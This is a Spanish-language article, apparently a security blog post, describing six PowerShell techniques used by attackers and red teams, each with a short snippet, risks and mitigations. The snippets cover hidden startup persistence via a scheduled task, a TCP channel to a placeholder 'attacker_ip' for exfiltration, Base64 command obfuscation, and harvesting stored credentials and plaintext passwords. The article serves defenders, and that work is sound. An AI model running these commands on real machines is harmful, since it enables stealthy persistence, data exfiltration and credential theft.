PowerShell continúa siendo una herramienta fundamental tanto para la administración como para las operaciones ofensivas de actores maliciosos y red teams. Su nivel de integración con Windows, junto con su capacidad para interactuar con .NET, programar tareas, acceder a la red y manipular archivos o credenciales, lo convierten en un componente crítico dentro del panorama de seguridad.
A continuación se presentan varias técnicas empleadas para persistencia, ofuscación y extracción de información, junto con sus riesgos y contramedidas recomendadas.
1. Persistencia mediante tareas programadas
Ejemplo:
$action = New-ScheduledTaskAction -Execute 'Powershell.exe' -Argument '-NoProfile -WindowStyle Hidden -Command "YourCommand"'
$trigger = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName 'MyTask' -Description 'MyDescription'
La creación de tareas programadas es una de las formas más comunes y duraderas de establecer persistencia. Permite que un comando, script o payload se ejecute automáticamente en cada reinicio del sistema.
Riesgos
- Permite persistencia incluso tras reinicios.
- La ejecución oculta (
-WindowStyle Hidden) dificulta su detección visual. - Puede ejecutarse con privilegios elevados si se configura adecuadamente.
Mitigación
- Revisar regularmente tareas programadas con
Get-ScheduledTask. - Utilizar herramientas como Autoruns para identificar tareas sospechosas.
- Aplicar restricciones de creación de tareas mediante políticas de grupo.
2. Comunicación de red encubierta
Ejemplo:
$client = New-Object Net.Sockets.TcpClient('attacker_ip', 443)
$stream = $client.GetStream()
# Enviar y recibir datos
PowerShell permite instanciar objetos .NET directamente, como TcpClient, para crear canales de comunicación discretos. Este tipo de conexión puede ser usado para exfiltración de datos o como canal de control remoto.
Riesgos
- Tráfico saliente por puertos comunes (como 443) puede pasar desapercibido.
- Puede integrarse en payloads fileless.
- Evade herramientas que solo monitorizan procesos ejecutables, no conexiones de PowerShell.
Mitigación
- Inspeccionar conexiones de PowerShell mediante EDR.
- Restringir conexiones salientes a destinos desconocidos.
- Implementar firewall interno con políticas restrictivas de egress.
3. Ofuscación mediante Base64
Ejemplo:
$command = 'Get-Process'
$encodedCommand = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command))
powershell.exe -EncodedCommand $encodedCommand
El parámetro -EncodedCommand permite ejecutar instrucciones codificadas en Base64, lo que oculta su contenido en texto claro y complica su análisis inmediato.
Riesgos
- Alta prevalencia en malware y scripts ofuscados.
- Dificulta la revisión manual del comando.
- Evade herramientas que buscan patrones comunes en texto plano.
Mitigación
- Analizar parámetros de comandos de PowerShell en los logs de Script Block Logging.
- Automatizar la decodificación de cadenas Base64 sospechosas.
- Bloquear el uso de
-EncodedCommandcuando no sea necesario.
4. Uso de Add-Type para ejecutar código .NET
Ejemplo:
Add-Type -TypeDefinition 'using System; public class MyClass { public static void Run() { Console.WriteLine("Executed"); } }'
[MyClass]::Run()
Add-Type permite compilar código .NET dinámicamente desde PowerShell. Esto puede utilizarse para insertar código malicioso disfrazado de lógica legítima.
Riesgos
- Permite ejecutar código compilado en memoria.
- Puede esconder actividades maliciosas dentro de clases aparentemente benignas.
- Poco monitorizado por herramientas básicas de seguridad.
Mitigación
- Bloquear el uso de Add-Type mediante políticas de restricción.
- Activar Deep Script Block Logging para registrar los cuerpos de código.
- Revisar scripts que incluyan código .NET incrustado.
5. Extracción de credenciales desde el Credential Manager
Ejemplo:
$credman = New-Object -TypeName PSCredentialManager.Credential
$credman | Where-Object { $_.Type -eq 'Generic' } | Select-Object UserName, Password
El Manejador de Credenciales de Windows puede almacenar credenciales de múltiples aplicaciones. PowerShell permite interactuar con esos datos mediante módulos específicos.
Riesgos
- Posibilidad de exfiltrar credenciales almacenadas en texto claro o reversible.
- Dependencia de módulos externos como
PSCredentialManager. - Puede emplearse para moverse lateralmente por la red.
Mitigación
- Eliminar credenciales guardadas innecesariamente.
- Utilizar gestores de contraseñas corporativos.
- Revisar qué módulos están instalados y restringir su uso.
6. Búsqueda de contraseñas en archivos no seguros
Ejemplo:
Select-String -Path C:\Users\*\Documents\*.txt -Pattern 'password' -CaseSensitive
Este comando busca la palabra “password” en documentos de usuarios, lo cual podría revelar contraseñas almacenadas de forma insegura.
Riesgos
- Exfiltración de información sensible.
- Abuso para auditorías internas no autorizadas.
- Frecuente en movimientos laterales y reconocimiento dentro del sistema.
Mitigación
- Aplicar DLP para detectar patrones sensibles en archivos.
- Educar a los usuarios para no almacenar credenciales en texto plano.
- Monitorizar accesos anómalos a directorios de usuarios.
Conclusión
Las técnicas anteriores no dependen de malware externo: son características legítimas de PowerShell y Windows que, usadas sin control, pueden ser explotadas para persistencia, ofuscación, exfiltración o robo de credenciales.
